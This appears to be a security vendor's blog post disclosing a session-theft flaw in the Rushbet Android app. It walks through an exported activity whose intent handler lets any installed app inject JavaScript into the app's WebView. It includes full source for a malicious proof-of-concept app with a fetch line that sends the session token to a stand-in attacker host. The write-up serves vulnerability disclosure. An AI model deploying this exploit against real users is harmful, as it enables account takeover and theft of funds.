| 4 min read
During the 2022 FIFA World Cup, many people were betting their money in support of their preferred teams. With this in mind, I researched which mobile sports betting apps were the most used.
Among all those apps, I chose Rushbet v2022.23.1-b490616d. Researching this app, I discovered that it is possible to steal a user's session token through a malicious app previously installed on their device.
In this blog post, I will explain this vulnerability in detail, where it is found in the code and what steps need to be followed to replicate the exploit.
Where is this vulnerability in Rushbet?
Examining the AndroidManifest.xml file, I found the following exported activity:
<activity android:theme="@style/AppTheme" android:name="com.sugarhouse.casino.MainActivity" android:exported="true" android:launchMode="singleTop" android:configChanges="fontScale|smallestScreenSize|screenSize|uiMode|screenLayout|orientation|keyboardHidden|keyboard"> <intent-filter android:autoVerify="true"> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="http" android:host="@string/host_url" android:path="/"/> <data android:scheme="http" android:host="@string/host_url" android:pathPrefix="/?"/> <data android:scheme="https" android:host="@string/host_url" android:pathPrefix="/?"/> <data android:scheme="https" android:host="@string/host_url" android:path="/"/> </intent-filter> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="@string/intent_filter_scheme" android:host="@string/intent_filter_host" android:path="/"/> <data android:scheme="@string/intent_filter_scheme_cage" android:host="@string/intent_filter_host_cage"/> </intent-filter> <intent-filter> <action android:name="android.intent.action.MY_PACKAGE_REPLACED"/> </intent-filter> </activity>
This means that any app installed on a mobile device with that vulnerable version of Rushbet can interact with this activity.
MainActivity
Once I noticed that, I went to the exported activity to see what it did and how. Here, the application assigns the URL that I send in the intent data in the variable this.loadWebviewUrl
:
public final class MainActivity extends Hilt_MainActivity implements [...] {
// These properties will be used in the onNewIntent listener
public static final String INTENT_ACTION_EVALUATE_SCRIPT = "Action.EvaluateScript";
public static final String INTENT_ACTION_EVALUATE_SCRIPT_KEY = "KeyScript";
[...]
public void onCreate(Bundle bundle) {
[...]
super.onCreate(bundle);
[...]
if (activityMainBinding != null) {
setContentView(activityMainBinding.getRoot());
[...]
setWebView();
[...]
if (activityMainBinding2 != null) {
cookieManager.setAcceptThirdPartyCookies(activityMainBinding2.contentMain.activityMainWebview, true);
Intent intent = getIntent();
if (intent != null && intent.getData() != null && vf.l.v0(String.valueOf(intent.getData()), HttpHost.DEFAULT_SCHEME_NAME, false)) {
this.loadWebviewUrl = String.valueOf(intent.getData());
}
[...]
}
[...]
}
[...]
}
[...]
}
With the above, we know that we can load arbitrary URLs in the WebView:
This is a good catch, but it’s got a lot more potential. I went on to find the biggest impact this error can have. Many Android applications allow updating the state of a previously launched activity through the onNewIntent
listener:
public void onNewIntent(Intent intent) {
String str;
super.onNewIntent(intent);
if (intent != null) {
str = intent.getAction();
} else {
str = null;
}
if (hd.h.a(str, INTENT_ACTION_EVALUATE_SCRIPT)) {
String stringExtra = intent.getStringExtra(INTENT_ACTION_EVALUATE_SCRIPT_KEY);
if (stringExtra == null) {
return;
}
onEvaluateScript(stringExtra);
return;
}
[...]
}
By analyzing the logic of the onEvaluateScript
listener, I realized that I can inject malicious JS into the domain previously loaded in the WebView:
public final void onEvaluateScript(String str) {
try {
ActivityMainBinding activityMainBinding = this.binding;
if (activityMainBinding != null) {
WebView webView = activityMainBinding.contentMain.activityMainWebview;
// Inject malicious JS here
webView.evaluateJavascript("try{" + str + "} catch (err) {}", null);
return;
}
hd.h.m("binding");
throw null;
} catch (RuntimeException e10) {
vh.a.f18108a.b(e10, "Failed to evaluateScript already on UI thread", new Object[0]);
}
}
We have before our eyes a universal XSS. This means we can execute malicious JS code on arbitrary domains. To activate the onNewIntent
listener, we would only need to add the Handler().postDelayed()
instruction to our exploit. This instruction updates the state of the previously launched activity. An example of this is shown below:
Exploit
To exploit this vulnerability we must create a malicious application like the following:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools"> <application android:allowBackup="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:theme="@style/Theme.Badapp" tools:targetApi="31"> <activity android:name=".MainActivity" android:exported="true" android:label="@string/app_name" android:theme="@style/Theme.Badapp.NoActionBar"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest>
package com.example.badapp; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Handler; import android.os.Bundle; import android.net.Uri; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = new Intent("android.intent.action.VIEW"); intent.setClassName("com.rush.co.rb","com.sugarhouse.casino.MainActivity"); intent.setData(Uri.parse("https://rushbet.co/")); startActivity(intent); new Handler().postDelayed(() -> {
intent.setAction("Action.EvaluateScript");
intent.putExtra("KeyScript","fetch('https://attacker.com/sessionID/'+JSON.parse(sessionStorage.getItem('session-COP')).value);");
startActivity(intent);
}, 30000);
}
}
POC of account takeover in Rushbet
The next video shows how to exploit this vulnerability to obtain the user's sessionID and then use it to access their account:
And here's a screenshot of our end result:
Conclusion
As evidenced in this blog post, an unauthenticated remote attacker can steal the account of any user logged into the Rushbet v2022.23.1-b490616d mobile app for Android via a malicious app installed on their device.
At Fluid Attacks, we search for complex vulnerabilities in software. You can secure your technology by starting your 21-day free trial of our automated security testing. Upgrade at any time to include assessments by our red team of ethical hackers.
Recommended blog posts
You might be interested in the following related posts.
Our new testing architecture for software development
Be more secure by increasing trust in your software
How it works and how it improves your security posture
Sophisticated web-based attacks and proactive measures
The importance of API security in this app-driven world
Protecting your cloud-based apps from cyber threats
Details on this trend and related data privacy concerns